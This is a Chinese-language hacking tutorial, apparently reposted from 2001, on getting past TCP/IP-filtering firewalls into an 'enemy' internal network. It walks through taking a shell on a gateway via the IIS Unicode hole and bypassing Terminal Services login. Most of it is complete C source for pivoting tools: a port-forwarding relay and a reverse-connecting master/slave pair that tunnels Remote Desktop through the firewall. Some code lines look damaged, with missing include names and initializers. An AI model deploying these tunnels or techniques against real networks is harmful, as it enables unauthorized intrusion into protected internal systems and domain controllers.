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學(xué)習(xí)啦 > 學(xué)習(xí)電腦 > 電腦安全 > 防火墻知識 > 怎樣突破TCP-IP過濾防火墻進入內(nèi)網(wǎng)

怎樣突破TCP-IP過濾防火墻進入內(nèi)網(wǎng)

時間: 若木635 分享

怎樣突破TCP-IP過濾防火墻進入內(nèi)網(wǎng)

  現(xiàn)在很多企業(yè)或者公司基本上網(wǎng)方式基本上都是申請一條連接到Internet的線路,寬帶、DDN、ADSL、ISDN等等,然后用一臺服務(wù)器做網(wǎng)關(guān),服務(wù)器兩塊網(wǎng)卡,一塊是連接到Internet,另一塊是連接到內(nèi)網(wǎng)的HUB或者交換機,然后內(nèi)網(wǎng)的其他機器就可以通過網(wǎng)關(guān)連接到Internet。

  也許有些人會這樣想,我在內(nèi)網(wǎng)之中,我們之間沒有直接的連接,你沒有辦法攻擊我。事實并非如此,在內(nèi)網(wǎng)的機器同樣可能遭受到來自Internet的攻擊,當(dāng)然前提是攻擊者已經(jīng)取得網(wǎng)關(guān)服務(wù)器的某些權(quán)限,呵呵,這是不是廢話?其實,Internet上很多做網(wǎng)關(guān)的服務(wù)器并未經(jīng)過嚴(yán)格的安全配置,要獲取權(quán)限也不是想象中的那么難。

  Ok!廢話就不說了,切入正題。我們的目標(biāo)是用我們的TermClient[M$終端服務(wù)客戶端]連接到敵人內(nèi)網(wǎng)的TermServer機器。M$的終端服務(wù)是一個很好的遠程管理工具,不是嗎?呵呵。沒有做特別說明的話,文中提到的服務(wù)器OS都為windows 2000。服務(wù)器為Linux或其他的話,原理也差不多,把程序稍微修改就行了。

  第一部分:利用TCP socket數(shù)據(jù)轉(zhuǎn)發(fā)進入沒有防火墻保護的內(nèi)網(wǎng)

  假設(shè)敵人網(wǎng)絡(luò)拓?fù)淙缦聢D所示,沒有安裝防火墻或在網(wǎng)關(guān)服務(wù)器上做TCP/IP限制。

  我們的目標(biāo)是連接上敵人內(nèi)網(wǎng)的Terminal

  Server[192.168.1.3],因為沒有辦法直接和他建立連接,那么只有先從它的網(wǎng)關(guān)服務(wù)器上下手了。假如敵人網(wǎng)關(guān)服務(wù)器是M$的windows 2k,IIS有Unicode漏洞[現(xiàn)在要找些有漏洞的機器太容易了,但我只是scripts kid,只會利用現(xiàn)成的漏洞做些簡單的攻擊:(555),那么我們就得到一個網(wǎng)關(guān)的shell了,我們可以在那上面運行我們的程序,雖然權(quán)限很低,但也可以做很多事情了。Ok!讓我們來寫一個做TCP socket數(shù)據(jù)轉(zhuǎn)發(fā)的小程序,讓敵人的網(wǎng)關(guān)服務(wù)器忠實的為我[202.1.1.1]和敵人內(nèi)網(wǎng)的TermServer[192.168.1.3]之間轉(zhuǎn)發(fā)數(shù)據(jù)。題外話:實際入侵過程是先取得網(wǎng)關(guān)服務(wù)器的權(quán)限,然后用他做跳板,進一步摸清它的內(nèi)部網(wǎng)絡(luò)拓?fù)浣Y(jié)構(gòu),再做進一步的入侵,現(xiàn)在敵人的網(wǎng)絡(luò)拓?fù)涫俏覀兘o他設(shè)計的,哈哈。

  攻擊流程如下:

  <1>在網(wǎng)關(guān)服務(wù)器202.2.2.2運行我們的程序AgentGateWay,他監(jiān)聽TCP 3389端口[改成別的,那我們就要相應(yīng)的修改TermClient了]等待我們?nèi)ミB接。

  <2>我們202.1.1.1用TermClient連接到202.2.2.2:3389。

  <3>202.2.2.2.接受202.1.1.1的連接,然后再建立一個TCP socket連接到自己內(nèi)網(wǎng)的TermServer[192.168.1.3]

  <4>這樣我們和敵人內(nèi)網(wǎng)的TermServer之間的數(shù)據(jù)通道就建好了,接下來網(wǎng)關(guān)就忠實的為我們轉(zhuǎn)發(fā)數(shù)據(jù)啦。當(dāng)我們連接到202.2.2.2:3389的時候,其實出來的界面是敵人內(nèi)網(wǎng)的192.168.1.3,感覺怎么樣?:)

  程序代碼如下:

  /**********************************************************************

  Module Name:AgentGateWay.c

  Date:2001/4/15

  CopyRight(c) eyas

  說明:端口重定向工具,在網(wǎng)關(guān)上運行,把端口重定向到內(nèi)網(wǎng)的IP、PORT,

  就可以進入內(nèi)網(wǎng)了

  sock[0]==>sClient sock[1]==>sTarget

  **********************************************************************/

  #include

  #include

  #include "TCPDataRedird.c"

  #define TargetIP TEXT("192.168.1.3")

  #define TargetPort (int)3389

  #define ListenPort (int)3389//監(jiān)聽端口

  #pragma comment(lib,"ws2_32.lib")

  int main()

  {

  WSADATA wsd;

  SOCKET sListen=INVALID_SOCKET,//本機監(jiān)聽的socket

  sock[2];

  struct sockaddr_in Local,Client,Target;

  int iAddrSize;

  HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

  hThreadT2C=NULL;//T2C=TargetToClient

  DWORD dwThreadID;

  __try

  {

  if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

  {

  printf("\nWSAStartup() failed:%d",GetLastError());

  __leave;

  }

  sListen=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

  if(sListen==INVALID_SOCKET)

  {

  printf("\nsocket() failed:%d",GetLastError());

  __leave;

  }

  Local.sin_addr.s_addr=htonl(INADDR_ANY);

  Local.sin_family=AF_INET;

  Local.sin_port=htons(ListenPort);

  Target.sin_family=AF_INET;

  Target.sin_addr.s_addr=inet_addr(TargetIP);

  Target.sin_port=htons(TargetPort);

  if(bind(sListen,(struct sockaddr

  *)&Local,sizeof(Local))==SOCKET_ERROR)

  {

  printf("\nbind() failed:%d",GetLastError());

  __leave;

  }

  if(listen(sListen,1)==SOCKET_ERROR)

  {

  printf("\nlisten() failed:%d",GetLastError());

  __leave;

  }

  //scoket循環(huán)

  while(1)

  {

  printf("\n\n*************Waiting Client Connect

  to**************\n\n");

  iAddrSize=sizeof(Client);

  //get socket sClient

  sock[0]=accept(sListen,(struct sockaddr *)&Client,&iAddrSize);

  if(sock[0]==INVALID_SOCKET)

  {

  printf("\naccept() failed:%d",GetLastError());

  break;

  }

  printf("\nAccept client==>%s:%d",inet_ntoa(Client.sin_addr),

  ntohs(Client.sin_port));

  //create socket sTarget

  sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

  if(sock[1]==INVALID_SOCKET)

  {

  printf("\nsocket() failed:%d",GetLastError());

  __leave;

  }

  //connect to target port

  if(connect(sock[1],(struct sockaddr

  *)&Target,sizeof(Target))==SOCKET_ERROR)

  {

  printf("\nconnect() failed:%d",GetLastError());

  __leave;

  }

  printf("\nconnect to target 3389 success!");

  //創(chuàng)建兩個線程進行數(shù)據(jù)轉(zhuǎn)發(fā)

  hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

  hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

  //等待兩個線程結(jié)束

  WaitForSingleObject(hThreadC2T,INFINITE);

  WaitForSingleObject(hThreadT2C,INFINITE);

  CloseHandle(hThreadC2T);

  CloseHandle(hThreadT2C);

  closesocket(sock[1]);

  closesocket(sock[0]);

  printf("\n\n*****************Connection

  Close*******************\n\n");

  }//end of sock外循環(huán)

  }//end of try

  __finally

  {

  if(sListen!=INVALID_SOCKET) closesocket(sListen);

  if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

  if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

  if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

  if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

  WSACleanup();

  }

  return 0;

  }

  /*************************************************************************

  Module:TCPDataRedird.c

  Date:2001/4/16

  CopyRight(c) eyas

  HomePage:www.patching.net

  Thanks to shotgun

  說明:TCP socket數(shù)據(jù)轉(zhuǎn)發(fā),sock[0]==>sClient sock[1]==>sTarget

  *************************************************************************/

  #define BuffSize 20*1024 //緩沖區(qū)大小20k

  //此函數(shù)負(fù)責(zé)從Client讀取數(shù)據(jù),然后轉(zhuǎn)發(fā)給Target

  DWORD WINAPI TCPDataC2T(SOCKET* sock)

  {

  int iRet,

  ret=-1,//select 返回值

  iLeft,

  idx,

  iSTTBCS=0;//STTBCS=SendToTargetBuffCurrentSize

  char szSendToTargetBuff[BuffSize]=,

  szRecvFromClientBuff[BuffSize]=;

  fd_set fdread,fdwrite;

  printf("\n\n*****************Connection

  Active*******************\n\n");

  while(1)

  {

  FD_ZERO(&fdread);

  FD_ZERO(&fdwrite);

  FD_SET(sock[0],&fdread);

  FD_SET(sock[1],&fdwrite);

  if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

  {

  printf("\nselect() failed:%d",GetLastError());

  break;

  }

  //printf("\nselect() return value ret=%d",ret);

  if(ret>0)

  {

  //sClinet可讀,client有數(shù)據(jù)要發(fā)送過來

  if(FD_ISSET(sock[0],&fdread))

  {

  //接收sock[0]發(fā)送來的數(shù)據(jù)

  iRet=recv(sock[0],szRecvFromClientBuff,BuffSize,0);

  if(iRet==SOCKET_ERROR)

  {

  printf("\nrecv() from sock[0] failed:%d",GetLastError());

  break;

  }

  else if(iRet==0)

  break;

  printf("\nrecv %d bytes from sClinet.",iRet);

  //把從client接收到的數(shù)據(jù)存添加到發(fā)往target的緩沖區(qū)

  memcpy(szSendToTargetBuff+iSTTBCS,szRecvFromClientBuff,iRet);

  //刷新發(fā)往target的數(shù)據(jù)緩沖區(qū)當(dāng)前buff大小

  iSTTBCS+=iRet;

  //清空接收client數(shù)據(jù)的緩沖區(qū)

  memset(szRecvFromClientBuff,0,BuffSize);

  }

  //sTarget可寫,把從client接收到的數(shù)據(jù)發(fā)送到target

  if(FD_ISSET(sock[1],&fdwrite))

  {

  //轉(zhuǎn)發(fā)數(shù)據(jù)到target的3389端口

  iLeft=iSTTBCS;

  idx=0;

  while(iLeft>0)

  {

  iRet=send(sock[1],&szSendToTargetBuff[idx],iLeft,0);

  if(iRet==SOCKET_ERROR)

  {

  printf("\nsend() to target failed:%d",GetLastError());

  break;

  }

  printf("\nsend %d bytes to target",iRet);

  iLeft-=iRet;

  idx+=iRet;

  }

  //清空緩沖區(qū)

  memset(szSendToTargetBuff,0,BuffSize);

  //重置發(fā)往target的數(shù)據(jù)緩沖區(qū)當(dāng)前buff大小

  iSTTBCS=0;

  }

  }//end of select ret

  Sleep(1);

  }//end of data send & recv循環(huán)

  return 0;

  }

  //此函數(shù)負(fù)責(zé)從target讀取數(shù)據(jù),然后發(fā)送給client

  DWORD WINAPI TCPDataT2C(SOCKET* sock)

  {

  int iRet,

  ret=-1,//select 返回值

  iLeft,

  idx,

  iSTCBCS=0;//STCBCS=SendToClientBuffCurrentSize

  char szRecvFromTargetBuff[BuffSize]=,

  szSendToClientBuff[BuffSize]=;

  fd_set fdread,fdwrite;

  while(1)

  {

  FD_ZERO(&fdread);

  FD_ZERO(&fdwrite);

  FD_SET(sock[0],&fdwrite);

  FD_SET(sock[1],&fdread);

  if((ret=select(0,&fdread,&fdwrite,NULL,NULL))==SOCKET_ERROR)

  {

  printf("\nselect() failed:%d",GetLastError());

  break;

  }

  if(ret>0)

  {

  //sTarget可讀,從target接收數(shù)據(jù)

  if(FD_ISSET(sock[1],&fdread))

  {

  //接收target返回數(shù)據(jù)

  iRet=recv(sock[1],szRecvFromTargetBuff,BuffSize,0);

  if(iRet==SOCKET_ERROR)

  {

  printf("\nrecv() from target failed:%d",GetLastError());

  break;

  }

  else if(iRet==0)

  break;

  printf("\nrecv %d bytes from target",iRet);

  //把從target接收到的數(shù)據(jù)添加到發(fā)送到client的緩沖區(qū)

  memcpy(szSendToClientBuff+iSTCBCS,szRecvFromTargetBuff,iRet);

  //清空接收target返回數(shù)據(jù)緩沖區(qū)

  memset(szRecvFromTargetBuff,0,BuffSize);

  //刷新發(fā)送到client的數(shù)據(jù)緩沖區(qū)當(dāng)前大小

  iSTCBCS+=iRet;

  }

  //client可寫,發(fā)送target返回數(shù)據(jù)到client

  if(FD_ISSET(sock[0],&fdwrite))

  {

  //發(fā)送target返回數(shù)據(jù)到client

  iLeft=iSTCBCS;

  idx=0;

  while(iLeft>0)

  {

  iRet=send(sock[0],&szSendToClientBuff[idx],iLeft,0);

  if(iRet==SOCKET_ERROR)

  {

  printf("\nsend() to Client failed:%d",GetLastError());

  break;

  }

  printf("\nsend %d bytes to Client",iRet);

  iLeft-=iRet;

  idx+=iRet;

  }

  //清空緩沖區(qū)

  memset(szSendToClientBuff,0,BuffSize);

  iSTCBCS=0;

  }

  }//end of select ret

  Sleep(1);

  }//end of while

  return 0;

  }

  利用TCP socket轉(zhuǎn)發(fā)和反彈TCP端口進入有防火墻保護的內(nèi)網(wǎng)

  事實上很多內(nèi)網(wǎng)沒有第一部分所說的那么簡單啦,我們來看一個有防火墻保護的內(nèi)網(wǎng),前提是這個防火墻對反彈TCP端口不做限制,限制了的話,又另當(dāng)別論了。假設(shè)網(wǎng)絡(luò)拓?fù)淙缦拢?/p>

  上面的網(wǎng)絡(luò)拓?fù)涫俏以谝淮螌ε笥压揪W(wǎng)站授權(quán)入侵過程中遇到的。

  〈1〉我自己處于公司內(nèi)網(wǎng)192.168.0.2,通過公司網(wǎng)關(guān)202.1.1.1到Internet,但我是網(wǎng)關(guān)的admin:)。

  〈2〉敵人[其實是friend啦]的網(wǎng)關(guān)OS是2k adv

  server,在外網(wǎng)網(wǎng)卡上做了TCP/IP限制,只開放了25,53,80,110,3306這幾個TCP PORT,通過一個漏洞,我得到了一個shell,可以通過IE來執(zhí)行系統(tǒng)命令,雖然權(quán)限很低。網(wǎng)關(guān)有終端服務(wù),登陸驗證漏洞補丁未安裝,但輸入法幫助文件已經(jīng)被刪除了,但是我們可以通過shell把輸入法幫助文件upload上去,因為他的系統(tǒng)權(quán)限沒有設(shè)置好,我們可以寫,呵呵。這樣的話,我們只要能夠連接到他的終端服務(wù)上去,我們就能繞過登陸驗證,得到admin權(quán)限了。如何連接?有辦法,用TCP socket轉(zhuǎn)發(fā)。和第一部分說的一樣嗎?有些不同。因為他做了TCP/IP限制,我們不能連接他,只能讓他來連接我們了,TCP反彈端口,呵呵。

  攻擊流程如下:

  〈1〉在我的服務(wù)器202.1.1.1運行AgentMaster,監(jiān)聽TCP PORT 12345,等待202.2.2.2來連接,監(jiān)聽TCP PORT 3389,等待我192.168.0.2連接。

  〈2〉在敵人網(wǎng)關(guān)機器202.2.2.2運行AgentSlave,連接到202.1.1.1 TCP PORT 12345[注意:是反彈端口,TCP/IP過濾也拿他沒辦法]

  〈3〉我自己192.168.0.2用TermClient連接到自己的服務(wù)器202.1.1.1:3389

  〈4〉敵人網(wǎng)關(guān)上的AgentSlave連接到自己本身在內(nèi)網(wǎng)的IP==〉192.168.1.1:3389

  〈5〉數(shù)據(jù)通道就建立好啦。兩個代理忠實的為我們轉(zhuǎn)發(fā)數(shù)據(jù),呵呵。當(dāng)我們連接自己服務(wù)器的3389,其實出來的是敵人內(nèi)網(wǎng)的某臺機器,呵呵。

  后來發(fā)現(xiàn)敵人的主域控制器是192.168.1.4,通過前面與他網(wǎng)關(guān)建立的連接,利用一個漏洞輕易的取得主域的admin權(quán)限,呵呵。他可能認(rèn)為主域在內(nèi)網(wǎng),網(wǎng)關(guān)又做了TCP/IP過濾,攻擊者沒有辦法進入。我只要把AgentSlave設(shè)置為連接192.168.1.4:3389,以后就可以直接連接他的主域控制器啦,不過在網(wǎng)關(guān)登陸也一樣。

  程序代碼如下[程序中所用到的TCPDataRedird.c已經(jīng)貼在第一部分,那個文件做數(shù)據(jù)轉(zhuǎn)發(fā),通用的:

  /******************************************************************************

  Module Name:AgentMaster.c

  Date:2001/4/16

  CopyRight(c) eyas

  說明:scoket代理主控端,負(fù)責(zé)監(jiān)聽兩個TCP socket,等待攻擊者和AgentSlave來連接,兩個

  scoket都連接成功后,開始轉(zhuǎn)發(fā)數(shù)據(jù)

  sock[0]是client==〉sock[0] sock[1]是target==〉sock[1]

  ******************************************************************************/

  #include 〈stdio.h〉

  #include 〈winsock2.h〉

  #include "TCPDataRedird.c"

  #pragma comment(lib,"ws2_32.lib")

  #define TargetPort 3389//偽裝的target的監(jiān)聽端口

  #define LocalPort 12345//等待AgentSlave來connect的端口

  int main()

  {

  WSADATA wsd;

  SOCKET s3389=INVALID_SOCKET,//本機監(jiān)聽的socket,等待攻擊者連接

  s1981=INVALID_SOCKET,//監(jiān)聽的socket,等待AgentSlave來連接

  sock[2]=;

  struct sockaddr_in Local3389,Local1981,Attack,Slave;

  int iAddrSize;

  HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

  hThreadT2C=NULL;//T2C=TargetToClient

  DWORD dwThreadID;

  __try

  {

  //load winsock library

  if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

  {

  printf("\nWSAStartup() failed:%d",GetLastError());

  __leave;

  }

  //create socket

  s3389=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

  if(s3389==INVALID_SOCKET)

  {

  printf("\nsocket() failed:%d",GetLastError());

  __leave;

  }

  //create socket

  s1981=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

  if(s1981==INVALID_SOCKET)

  {

  printf("\nsocket() failed:%d",GetLastError());

  __leave;

  }

  //fill the struct

  Local3389.sin_addr.s_addr=htonl(INADDR_ANY);

  Local3389.sin_family=AF_INET;

  Local3389.sin_port=htons(TargetPort);

  Local1981.sin_addr.s_addr=htonl(INADDR_ANY);

  Local1981.sin_family=AF_INET;

  Local1981.sin_port=htons(LocalPort);

  //bind s3389 for attacker

  if(bind(s3389,(struct sockaddr

  *)&Local3389,sizeof(Local3389))==SOCKET_ERROR)

  {

  printf("\nbind() failed:%d",GetLastError());

  __leave;

  }

  //listen for attacker to connect

  if(listen(s3389,1)==SOCKET_ERROR)

  {

  printf("\nlisten() failed:%d",GetLastError());

  __leave;

  }

  //bind s1981 for AgentSlave

  if(bind(s1981,(struct sockaddr

  *)&Local1981,sizeof(Local1981))==SOCKET_ERROR)

  {

  printf("\nbind() failed:%d",GetLastError());

  __leave;

  }

  //listen for AgentSlave to connect

  if(listen(s1981,1)==SOCKET_ERROR)

  {

  printf("\nlisten() failed:%d",GetLastError());

  __leave;

  }

  //socket循環(huán)

  while(1)

  {

  //wait for AgentSlave to connect

  iAddrSize=sizeof(Slave);

  sock[1]=accept(s1981,(struct sockaddr *)&Slave,&iAddrSize);

  if(sock[1]==INVALID_SOCKET)

  {

  printf("\naccept() failed:%d",GetLastError());

  break;

  }

  printf("\nAccept AgentSlave==〉%s:%d",inet_ntoa(Slave.sin_addr),

  ntohs(Slave.sin_port));

  //wait for Attacker to connect

  iAddrSize=sizeof(Attack);

  sock[0]=accept(s3389,(struct sockaddr *)&Attack,&iAddrSize);

  if(sock[0]==INVALID_SOCKET)

  {

  printf("\naccept() failed:%d",GetLastError());

  break;

  }

  printf("\nAccept Attacker==〉%s:%d",inet_ntoa(Attack.sin_addr),

  ntohs(Attack.sin_port));

  //創(chuàng)建兩個線程進行數(shù)據(jù)轉(zhuǎn)發(fā)

  hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

  hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

  //等待兩個線程結(jié)束

  WaitForSingleObject(hThreadC2T,INFINITE);

  CloseHandle(hThreadC2T);

  CloseHandle(hThreadT2C);

  closesocket(sock[0]);

  closesocket(sock[1]);

  }//end of socket while

  }//end of try

  __finally

  {

  //clean all

  if(s3389!=INVALID_SOCKET) closesocket(s3389);

  if(s1981!=INVALID_SOCKET) closesocket(s1981);

  if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

  if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

  if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

  if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

  WSACleanup();

  }

  return 0;

  }

  /***********************************************************************************

  Module:AgentSlave.c

  Date:2001/4/17

  Copyright(c)eyas

  HomePage:www.patching.net

  說明:這個程序負(fù)責(zé)連接最終目標(biāo),連接主控端,然后轉(zhuǎn)發(fā)數(shù)據(jù)

  這里連接到AgenrMaster的socket相當(dāng)與sClient==〉sock[0],

  連接到最終目標(biāo)的socoket是sTarget==〉sock[1]

  ***********************************************************************************/

  #include 〈stdio.h〉

  #include 〈winsock2.h〉

  #include "TCPDataRedird.c"

  #pragma comment(lib,"ws2_32.lib")

  #define TargetIP "192.168.1.3"

  #define TargetPort (int)3389

  #define AgentMasterIP "202.1.1.1"

  #define AgentMasterPort (int)12345

  int main()

  {

  WSADATA wsd;

  SOCKET sock[2]=;

  struct sockaddr_in Master,Target;

  HANDLE hThreadC2T=NULL,//C2T=ClientToTarget

  hThreadT2C=NULL;//T2C=TargetToClient

  DWORD dwThreadID;

  __try

  {

  //load winsock library

  if(WSAStartup(MAKEWORD(2,2),&wsd)!=0)

  {

  printf("\nWSAStartup() failed:%d",GetLastError());

  __leave;

  }

  //循環(huán)

  while(1)

  {

  //create client socket

  sock[0]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

  if(sock[0]==INVALID_SOCKET)

  {

  printf("\nsocket() failed:%d",GetLastError());

  __leave;

  }

  //create target socket

  sock[1]=socket(AF_INET,SOCK_STREAM,IPPROTO_IP);

  if(sock[1]==INVALID_SOCKET)

  {

  printf("\nsocket() failed:%d",GetLastError());

  __leave;

  }

  //fill struct

  Target.sin_family=AF_INET;

  Target.sin_addr.s_addr=inet_addr(TargetIP);

  Target.sin_port=htons(TargetPort);

  Master.sin_family=AF_INET;

  Master.sin_addr.s_addr=inet_addr(AgentMasterIP);

  Master.sin_port=htons(AgentMasterPort);

  //connect to AgentMaster

  if(connect(sock[0],(struct sockaddr

  *)&Master,sizeof(Master))==SOCKET_ERROR)

  {

  //連接失敗后,等待一會兒再連

  printf("\nconnect() to master failed:%d",GetLastError());

  closesocket(sock[0]);

  closesocket(sock[1]);

  Sleep(5000);

  continue;

  }

  printf("\nconnect to %s %d success!",AgentMasterIP,AgentMasterPort);

  //connect to target

  if(connect(sock[1],(struct sockaddr

  *)&Target,sizeof(Target))==SOCKET_ERROR)

  {

  printf("\nconnect() to target failed:%d",GetLastError());

  __leave;

  }

  printf("\nconnect to %s %d success!",TargetIP,TargetPort);

  //創(chuàng)建兩個線程進行數(shù)據(jù)轉(zhuǎn)發(fā)

  hThreadC2T=CreateThread(NULL,0,TCPDataC2T,(LPVOID)sock,0,&dwThreadID);

  hThreadT2C=CreateThread(NULL,0,TCPDataT2C,(LPVOID)sock,0,&dwThreadID);

  //等待兩個線程結(jié)束

  WaitForSingleObject(hThreadC2T,INFINITE);

  CloseHandle(hThreadC2T);

  CloseHandle(hThreadT2C);

  closesocket(sock[0]);

  closesocket(sock[1]);

  }//end of while

  }//end of try

  __finally

  {

  if(sock[0]!=INVALID_SOCKET) closesocket(sock[0]);

  if(sock[1]!=INVALID_SOCKET) closesocket(sock[1]);

  if(hThreadC2T!=NULL) CloseHandle(hThreadC2T);

  if(hThreadT2C!=NULL) CloseHandle(hThreadT2C);

  WSACleanup();

  }

  return 0;

  }

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